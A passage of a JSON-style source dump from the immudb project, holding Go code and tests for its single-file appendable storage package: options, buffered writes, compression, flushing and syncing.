    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage singleapp\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n)\n\nconst DefaultFileMode = os.FileMode(0644)\nconst DefaultCompressionFormat = appendable.DefaultCompressionFormat\nconst DefaultCompressionLevel = appendable.DefaultCompressionLevel\nconst DefaultReadBufferSize = 4096\nconst DefaultWriteBufferSize = 4096\n\ntype Options struct {\n\treadOnly       bool\n\treadBufferSize int\n\n\twriteBuffer   []byte\n\tretryableSync bool // if retryableSync is enabled, buffer space is released only after a successful sync\n\tautoSync      bool // if autoSync is enabled, sync is called when the buffer is full\n\n\tfileMode os.FileMode\n\n\tcompressionFormat int\n\tcompressionLevel  int\n\n\tpreallocSize      int\n\tcreateIfNotExists bool\n\n\tmetadata []byte\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\treadOnly:          false,\n\t\tretryableSync:     true,\n\t\tautoSync:          true,\n\t\tcreateIfNotExists: true,\n\t\tfileMode:          DefaultFileMode,\n\t\tcompressionFormat: DefaultCompressionFormat,\n\t\tcompressionLevel:  DefaultCompressionLevel,\n\t\treadBufferSize:    DefaultReadBufferSize,\n\t\twriteBuffer:       make([]byte, DefaultWriteBufferSize),\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.readBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid readBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif !opts.readOnly && len(opts.writeBuffer) == 0 {\n\t\treturn fmt.Errorf(\"%w: invalid writeBuffer\", ErrInvalidOptions)\n\t}\n\n\tif opts.preallocSize < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid preallocSize\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithReadOnly(readOnly bool) *Options {\n\topts.readOnly = readOnly\n\treturn opts\n}\n\nfunc (opts *Options) WithRetryableSync(retryableSync bool) *Options {\n\topts.retryableSync = retryableSync\n\treturn opts\n}\n\nfunc (opts *Options) WithAutoSync(autoSync bool) *Options {\n\topts.autoSync = autoSync\n\treturn opts\n}\n\nfunc (opts *Options) WithFileMode(fileMode os.FileMode) *Options {\n\topts.fileMode = fileMode\n\treturn opts\n}\n\nfunc (opts *Options) WithCompressionFormat(compressionFormat int) *Options {\n\topts.compressionFormat = compressionFormat\n\treturn opts\n}\n\nfunc (opts *Options) WithPreallocSize(preallocSize int) *Options {\n\topts.preallocSize = preallocSize\n\treturn opts\n}\n\nfunc (opts *Options) WithCreateIfNotExists(createIfNotExists bool) *Options {\n\topts.createIfNotExists = createIfNotExists\n\treturn opts\n}\n\nfunc (opts *Options) GetCompressionFormat() int {\n\treturn opts.compressionFormat\n}\n\nfunc (opts *Options) GetCompressionLevel() int {\n\treturn opts.compressionLevel\n}\n\nfunc (opts *Options) GetReadBufferSize() int {\n\treturn opts.readBufferSize\n}\n\nfunc (opts *Options) GetPreallocSize() int {\n\treturn opts.preallocSize\n}\n\nfunc (opts *Options) GetWriteBuffer() []byte {\n\treturn opts.writeBuffer\n}\n\nfunc (opts *Options) WithCompresionLevel(compressionLevel int) *Options {\n\topts.compressionLevel = compressionLevel\n\treturn opts\n}\n\nfunc (opts *Options) WithMetadata(metadata []byte) *Options {\n\topts.metadata = metadata\n\treturn opts\n}\n\nfunc (opts *Options) WithReadBufferSize(size int) *Options {\n\topts.readBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithWriteBuffer(b []byte) *Options {\n\topts.writeBuffer = b\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/appendable/singleapp/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage singleapp\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *Options\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &Options{}},\n\t\t{\"ReadBufferSize\", DefaultOptions().WithReadBufferSize(0)},\n\t\t{\"WriteBuffer\", DefaultOptions().WithReadOnly(false).WithWriteBuffer(nil)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.NoError(t, DefaultOptions().Validate())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := &Options{}\n\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode)\n\trequire.Equal(t, []byte{}, opts.WithMetadata([]byte{}).metadata)\n\trequire.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat)\n\trequire.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).GetCompressionFormat())\n\trequire.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel)\n\trequire.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).GetCompressionLevel())\n\n\trequire.True(t, opts.WithRetryableSync(true).retryableSync)\n\trequire.True(t, opts.WithAutoSync(true).autoSync)\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, DefaultReadBufferSize+1, opts.WithReadBufferSize(DefaultReadBufferSize+1).GetReadBufferSize())\n\trequire.NoError(t, opts.Validate())\n\n\topts.WithPreallocSize(-1)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, 10, opts.WithPreallocSize(10).GetPreallocSize())\n\trequire.NoError(t, opts.Validate())\n\n\trequire.False(t, opts.WithReadOnly(false).readOnly)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\tb := make([]byte, DefaultWriteBufferSize)\n\trequire.Equal(t, b, opts.WithWriteBuffer(b).GetWriteBuffer())\n\trequire.NoError(t, opts.Validate())\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.NoError(t, opts.Validate())\n}\n"
  },
  {
    "path": "embedded/appendable/singleapp/single_app.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage singleapp\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"compress/flate\"\n\t\"compress/gzip\"\n\t\"compress/lzw\"\n\t\"compress/zlib\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/fileutils\"\n)\n\nvar ErrorPathIsNotADirectory = errors.New(\"singleapp: path is not a directory\")\nvar ErrIllegalArguments = errors.New(\"singleapp: illegal arguments\")\nvar ErrInvalidOptions = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\nvar ErrAlreadyClosed = errors.New(\"singleapp: already closed\")\nvar ErrReadOnly = errors.New(\"singleapp: read-only mode\")\nvar ErrCorruptedMetadata = errors.New(\"singleapp: corrupted metadata\")\nvar ErrBufferFull = errors.New(\"singleapp: buffer full\")\nvar ErrNegativeOffset = errors.New(\"singleapp: negative offset\")\n\nconst (\n\tmetaPreallocSize      = \"PREALLOC_SIZE\"\n\tmetaCompressionFormat = \"COMPRESSION_FORMAT\"\n\tmetaCompressionLevel  = \"COMPRESSION_LEVEL\"\n\tmetaWrappedMeta       = \"WRAPPED_METADATA\"\n)\n\nvar _ appendable.Appendable = (*AppendableFile)(nil)\n\ntype AppendableFile struct {\n\tf              *os.File\n\tfileBaseOffset int64\n\tfileOffset     int64\n\tseekRequired   bool\n\n\twriteBuffer         []byte\n\twbufFlushedOffset   int\n\twbufUnwrittenOffset int\n\n\treadBufferSize int\n\treadOnly       bool\n\tretryableSync  bool\n\tautoSync       bool\n\n\tcompressionFormat int\n\tcompressionLevel  int\n\n\tpreallocSize int\n\n\tmetadata []byte\n\n\tclosed bool\n\n\tmutex sync.Mutex\n}\n\nfunc Open(fileName string, opts *Options) (*AppendableFile, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar flag int\n\n\tif opts.readOnly {\n\t\tflag = os.O_RDONLY\n\t} else {\n\t\tflag = os.O_CREATE | os.O_RDWR\n\t}\n\n\t_, err = os.Stat(fileName)\n\tnotExist := os.IsNotExist(err)\n\n\tif err != nil && ((opts.readOnly && notExist) || (!opts.createIfNotExists && notExist) || !notExist) {\n\t\treturn nil, err\n\t}\n\n\tf, err := os.OpenFile(fileName, flag, opts.fileMode)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar metadata []byte\n\tvar compressionFormat int\n\tvar compressionLevel int\n\tvar fileBaseOffset int64\n\n\tvar preallocSize int\n\n\tif notExist {\n\t\tm := appendable.NewMetadata(nil)\n\t\tm.PutInt(metaPreallocSize, opts.preallocSize)\n\t\tm.PutInt(metaCompressionFormat, opts.compressionFormat)\n\t\tm.PutInt(metaCompressionLevel, opts.compressionLevel)\n\t\tm.Put(metaWrappedMeta, opts.metadata)\n\n\t\tmBs := m.Bytes()\n\t\tmLenBs := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(mLenBs, uint32(len(mBs)))\n\n\t\tw := bufio.NewWriter(f)\n\n\t\t_, err := w.Write(mLenBs)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, err = w.Write(mBs)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpreallocBs := make([]byte, 4096)\n\t\tpreallocated := 0\n\n\t\tfor preallocated < opts.preallocSize {\n\t\t\tn, err := w.Write(preallocBs[:minInt(len(preallocBs), opts.preallocSize-preallocated)])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tpreallocated += n\n\t\t}\n\n\t\terr = w.Flush()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = f.Sync()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = fileutils.SyncDir(filepath.Dir(fileName))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpreallocSize = opts.preallocSize\n\t\tcompressionFormat = opts.compressionFormat\n\t\tcompressionLevel = opts.compressionLevel\n\t\tmetadata = opts.metadata\n\n\t\tfileBaseOffset = int64(4 + len(mBs))\n\t} else {\n\t\tr := bufio.NewReader(f)\n\n\t\tmLenBs := make([]byte, 4)\n\t\t_, err := r.Read(mLenBs)\n\t\tif err != nil {\n\t\t\treturn nil, ErrCorruptedMetadata\n\t\t}\n\n\t\tmBs := make([]byte, binary.BigEndian.Uint32(mLenBs))\n\t\t_, err = r.Read(mBs)\n\t\tif err != nil {\n\t\t\treturn nil, ErrCorruptedMetadata\n\t\t}\n\n\t\tm := appendable.NewMetadata(mBs)\n\n\t\tpreallocSz, ok := m.GetInt(metaCompressionFormat)\n\t\tif ok {\n\t\t\tpreallocSize = preallocSz\n\t\t}\n\n\t\tcf, ok := m.GetInt(metaCompressionFormat)\n\t\tif !ok {\n\t\t\treturn nil, ErrCorruptedMetadata\n\t\t}\n\t\tcompressionFormat = cf\n\n\t\tcl, ok := m.GetInt(metaCompressionLevel)\n\t\tif !ok {\n\t\t\treturn nil, ErrCorruptedMetadata\n\t\t}\n\t\tcompressionLevel = cl\n\n\t\tmetadata, ok = m.Get(metaWrappedMeta)\n\t\tif !ok {\n\t\t\treturn nil, ErrCorruptedMetadata\n\t\t}\n\n\t\tfileBaseOffset = int64(4 + len(mBs))\n\t}\n\n\tfileOffset, err := f.Seek(0, io.SeekEnd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &AppendableFile{\n\t\tf:                 f,\n\t\tfileBaseOffset:    fileBaseOffset,\n\t\tfileOffset:        fileOffset - fileBaseOffset,\n\t\twriteBuffer:       opts.writeBuffer,\n\t\treadBufferSize:    opts.readBufferSize,\n\t\tcompressionFormat: compressionFormat,\n\t\tcompressionLevel:  compressionLevel,\n\t\tpreallocSize:      preallocSize,\n\t\tmetadata:          metadata,\n\t\treadOnly:          opts.readOnly,\n\t\tretryableSync:     opts.retryableSync,\n\t\tautoSync:          opts.autoSync,\n\t\tclosed:            false,\n\t}, nil\n}\n\nfunc (aof *AppendableFile) Copy(dstPath string) error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tdstFile, err := os.Create(dstPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer dstFile.Close()\n\n\terr = aof.flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\taof.seekRequired = true\n\n\t_, err = aof.f.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(dstFile, aof.f)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn dstFile.Sync()\n}\n\nfunc (aof *AppendableFile) CompressionFormat() int {\n\treturn aof.compressionFormat\n}\n\nfunc (aof *AppendableFile) CompressionLevel() int {\n\treturn aof.compressionLevel\n}\n\nfunc (aof *AppendableFile) Metadata() []byte {\n\treturn aof.metadata\n}\n\nfunc (aof *AppendableFile) Size() (int64, error) {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\n\treturn aof.offset(), nil\n}\n\nfunc (aof *AppendableFile) Offset() int64 {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\treturn aof.offset()\n}\n\nfunc (aof *AppendableFile) offset() int64 {\n\treturn aof.fileOffset + int64(aof.wbufUnwrittenOffset-aof.wbufFlushedOffset)\n}\n\nfunc (aof *AppendableFile) SetOffset(newOffset int64) error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif aof.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\tif newOffset < 0 {\n\t\treturn ErrNegativeOffset\n\t}\n\n\tcurrOffset := aof.offset()\n\n\tif newOffset > currOffset {\n\t\treturn fmt.Errorf(\"%w: provided offset %d is bigger than current one %d\", ErrIllegalArguments, newOffset, currOffset)\n\t}\n\n\tif newOffset == currOffset {\n\t\treturn nil\n\t}\n\n\tif newOffset >= aof.fileOffset {\n\t\t//in-mem change\n\t\taof.wbufUnwrittenOffset -= int(currOffset - newOffset)\n\t\treturn nil\n\t}\n\n\taof.fileOffset = newOffset\n\taof.seekRequired = true\n\n\t// discard in-memory data\n\taof.wbufFlushedOffset = 0\n\taof.wbufUnwrittenOffset = 0\n\n\treturn nil\n}\n\nfunc (aof *AppendableFile) DiscardUpto(off int64) error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif aof.offset() < off {\n\t\treturn fmt.Errorf(\"%w: discard beyond existent data boundaries\", ErrIllegalArguments)\n\t}\n\n\treturn nil\n}\n\nfunc (aof *AppendableFile) writer(w io.Writer) (cw io.Writer, err error) {\n\tswitch aof.compressionFormat {\n\tcase appendable.FlateCompression:\n\t\tcw, err = flate.NewWriter(w, aof.compressionLevel)\n\tcase appendable.GZipCompression:\n\t\tcw, err = gzip.NewWriterLevel(w, aof.compressionLevel)\n\tcase appendable.LZWCompression:\n\t\tcw = lzw.NewWriter(w, lzw.MSB, 8)\n\tcase appendable.ZLibCompression:\n\t\tcw, err = zlib.NewWriterLevel(w, aof.compressionLevel)\n\t}\n\treturn\n}\n\nfunc (aof *AppendableFile) reader(r io.Reader) (reader io.ReadCloser, err error) {\n\tswitch aof.compressionFormat {\n\tcase appendable.FlateCompression:\n\t\treader = flate.NewReader(r)\n\tcase appendable.GZipCompression:\n\t\treader, err = gzip.NewReader(r)\n\tcase appendable.LZWCompression:\n\t\treader = lzw.NewReader(r, lzw.MSB, 8)\n\tcase appendable.ZLibCompression:\n\t\treader, err = zlib.NewReader(r)\n\t}\n\treturn\n}\n\nfunc (aof *AppendableFile) Append(bs []byte) (off int64, n int, err error) {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn 0, 0, ErrAlreadyClosed\n\t}\n\n\tif aof.readOnly {\n\t\treturn 0, 0, ErrReadOnly\n\t}\n\n\tif len(bs) == 0 {\n\t\treturn 0, 0, ErrIllegalArguments\n\t}\n\n\toff = aof.offset()\n\n\tif aof.compressionFormat == appendable.NoCompression {\n\t\tn, err = aof.write(bs)\n\t\treturn off, n, err\n\t}\n\n\tvar b bytes.Buffer\n\n\tw, err := aof.writer(&b)\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\t_, err = w.Write(bs)\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\tw.(io.Closer).Close()\n\n\tbb := b.Bytes()\n\n\tbbLenBs := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(bbLenBs, uint32(len(bb)))\n\n\tn, err = aof.write(bbLenBs)\n\tif err != nil {\n\t\treturn off, n, err\n\t}\n\n\tn, err = aof.write(bb)\n\n\treturn off, n + 4, err\n}\n\nfunc (aof *AppendableFile) write(bs []byte) (n int, err error) {\n\tfor n < len(bs) {\n\t\tavailable := len(aof.writeBuffer) - aof.wbufUnwrittenOffset\n\n\t\tif available == 0 {\n\t\t\tif aof.retryableSync {\n\t\t\t\t// Sync must be called to free buffer space\n\t\t\t\tif !aof.autoSync {\n\t\t\t\t\treturn n, ErrBufferFull\n\t\t\t\t}\n\n\t\t\t\t// auto-sync is enabled\n\t\t\t\terr = aof.sync()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\terr = aof.flush()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tavailable = len(aof.writeBuffer)\n\t\t}\n\n\t\twriteChunkSize := minInt(len(bs)-n, available)\n\n\t\tcopy(aof.writeBuffer[aof.wbufUnwrittenOffset:], bs[n:n+writeChunkSize])\n\t\taof.wbufUnwrittenOffset += writeChunkSize\n\n\t\tn += writeChunkSize\n\t}\n\n\treturn\n}\n\nfunc (aof *AppendableFile) readAt(bs []byte, off int64) (n int, err error) {\n\tif off < 0 {\n\t\treturn 0, ErrNegativeOffset\n\t}\n\n\tif off > aof.offset() {\n\t\treturn 0, io.EOF\n\t}\n\n\t// boff is the offset to employ when reading from the buffer\n\tvar boff int\n\n\tif off < aof.fileOffset {\n\t\tn, err = aof.f.ReadAt(bs, aof.fileBaseOffset+off)\n\t} else {\n\t\tboff = int(off - aof.fileOffset)\n\t}\n\n\tpending := len(bs) - n\n\n\tif pending > 0 {\n\t\tavailable := (aof.wbufUnwrittenOffset - aof.wbufFlushedOffset) - boff\n\t\treadChunkSize := minInt(pending, available)\n\n\t\tif readChunkSize > 0 {\n\t\t\tcopy(bs[n:], aof.writeBuffer[aof.wbufFlushedOffset+boff:aof.wbufFlushedOffset+boff+readChunkSize])\n\t\t\tn += readChunkSize\n\t\t}\n\n\t\tif readChunkSize == pending {\n\t\t\terr = nil\n\t\t} else {\n\t\t\terr = io.EOF\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (aof *AppendableFile) ReadAt(bs []byte, off int64) (n int, err error) {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\n\tif bs == nil {\n\t\treturn 0, ErrIllegalArguments\n\t}\n\n\tif aof.compressionFormat == appendable.NoCompression {\n\t\treturn aof.readAt(bs, off)\n\t}\n\n\tclenBs := make([]byte, 4)\n\t_, err = aof.readAt(clenBs, off)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tcBs := make([]byte, binary.BigEndian.Uint32(clenBs))\n\t_, err = aof.readAt(cBs, off+4)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tr, err := aof.reader(bytes.NewReader(cBs))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer r.Close()\n\n\tvar buf bytes.Buffer\n\tbuf.ReadFrom(r)\n\trbs := buf.Bytes()\n\n\tn = minInt(len(rbs), len(bs))\n\n\tcopy(bs, rbs[:n])\n\n\tif n < len(bs) {\n\t\terr = io.EOF\n\t}\n\n\treturn\n}\n\nfunc (aof *AppendableFile) SwitchToReadOnlyMode() error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif aof.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\t// write buffer must be freed\n\terr := aof.flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif aof.retryableSync {\n\t\t// syncing is required to free the write buffer with retryable sync\n\t\terr := aof.sync()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\taof.writeBuffer = nil\n\taof.readOnly = true\n\n\treturn nil\n}\n\nfunc (aof *AppendableFile) Flush() error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif aof.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\treturn aof.flush()\n}\n\nfunc (aof *AppendableFile) seekIfRequired() error {\n\tif !aof.seekRequired {\n\t\treturn nil\n\t}\n\n\t_, err := aof.f.Seek(aof.fileBaseOffset+aof.fileOffset, io.SeekStart)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\taof.seekRequired = false\n\n\treturn nil\n}\n\n// flush writes buffered data into the underlying file.\n// When retryableSync is used, the buffer space is released\n// after sync succeeds to prevent data loss under unexpected conditions\nfunc (aof *AppendableFile) flush() error {\n\tif aof.wbufUnwrittenOffset-aof.wbufFlushedOffset == 0 {\n\t\t// nothing to write\n\t\treturn nil\n\t}\n\n\t// ensure that the file is written at the expected location\n\terr := aof.seekIfRequired()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tn, err := aof.f.Write(aof.writeBuffer[aof.wbufFlushedOffset:aof.wbufUnwrittenOffset])\n\n\taof.fileOffset += int64(n)\n\taof.wbufFlushedOffset += n\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !aof.retryableSync {\n\t\t// free buffer space\n\t\taof.wbufFlushedOffset = 0\n\t\taof.wbufUnwrittenOffset = 0\n\t}\n\n\treturn nil\n}\n\nfunc (aof *AppendableFile) Sync() error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif aof.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\treturn aof.sync()\n}\n\nfunc (aof *AppendableFile) sync() error {\n\terr := aof.flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif aof.preallocSize == 0 {\n\t\terr = aof.f.Sync()\n\t} else {\n\t\terr = fileutils.Fdatasync(aof.f)\n\t}\n\n\tif !aof.retryableSync {\n\t\treturn err\n\t}\n\n\t// retryableSync\n\t// Buffer space is not freed when there is an error during sync\n\n\t// prevent data lost when fsync fails\n\t// buffered data may be re-written in following\n\t// flushing and syncing calls.\n\n\tif err == nil {\n\t\t// buffer space is freed\n\t\taof.wbufFlushedOffset = 0\n\t\taof.wbufUnwrittenOffset = 0\n\t} else {\n\t\taof.fileOffset -= int64(aof.wbufFlushedOffset)\n\t\taof.seekRequired = true\n\n\t\taof.wbufFlushedOffset = 0\n\t}\n\n\treturn err\n}\n\nfunc (aof *AppendableFile) Close() error {\n\taof.mutex.Lock()\n\tdefer aof.mutex.Unlock()\n\n\tif aof.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif !aof.readOnly {\n\t\terr := aof.flush()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\taof.closed = true\n\n\treturn aof.f.Close()\n}\n\nfunc minInt(a, b int) int {\n\tif a <= b {\n\t\treturn a\n\t}\n\treturn b\n}\n"
  },
  {
    "path": "embedded/appendable/singleapp/single_app_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage singleapp\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSingleApp(t *testing.T) {\n\tbuf := make([]byte, DefaultWriteBufferSize*5)\n\n\topts := DefaultOptions().\n\t\tWithReadBufferSize(DefaultReadBufferSize * 2).\n\t\tWithWriteBuffer(buf)\n\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\tsz, err := a.Size()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), sz)\n\n\trequire.Equal(t, appendable.DefaultCompressionFormat, a.CompressionFormat())\n\trequire.Equal(t, appendable.DefaultCompressionLevel, a.CompressionLevel())\n\n\terr = a.SetOffset(0)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, int64(0), a.Offset())\n\n\tmd := a.Metadata()\n\trequire.Nil(t, md)\n\n\t_, _, err = a.Append(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\toff, n, err := a.Append([]byte{0})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 1, n)\n\n\toff, n, err = a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), off)\n\trequire.Equal(t, 3, n)\n\n\toff, n, err = a.Append([]byte{4, 5, 6, 7, 8, 9, 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(4), off)\n\trequire.Equal(t, 7, n)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 4)\n\tn, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 4, n)\n\trequire.Equal(t, []byte{0, 1, 2, 3}, bs)\n\n\tbs = make([]byte, 4)\n\tn, err = a.ReadAt(bs, 7)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 4, n)\n\trequire.Equal(t, []byte{7, 8, 9, 10}, bs)\n\n\tn, err = a.ReadAt(bs, 1000)\n\trequire.Equal(t, n, 0)\n\trequire.ErrorIs(t, err, io.EOF)\n\n\terr = a.Sync()\n\trequire.NoError(t, err)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppSetOffsetWithRetryableSyncOn(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithWriteBuffer(make([]byte, 64))\n\n\ttestSingleAppSetOffsetWith(opts, t)\n}\n\nfunc TestSingleAppSetOffsetWithRetryableSyncOff(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithRetryableSync(false).\n\t\tWithWriteBuffer(make([]byte, 64))\n\n\ttestSingleAppSetOffsetWith(opts, t)\n}\n\nfunc testSingleAppSetOffsetWith(opts *Options, t *testing.T) {\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\terr = a.SetOffset(-1)\n\trequire.ErrorIs(t, err, ErrNegativeOffset)\n\n\t// prealloc buffer used when writing data\n\twriteBuf := make([]byte, len(opts.writeBuffer)*3)\n\n\t// prealloc buffer used when reading data\n\treadBuf := make([]byte, len(writeBuf))\n\n\tfor i := 1; i <= len(writeBuf); i++ 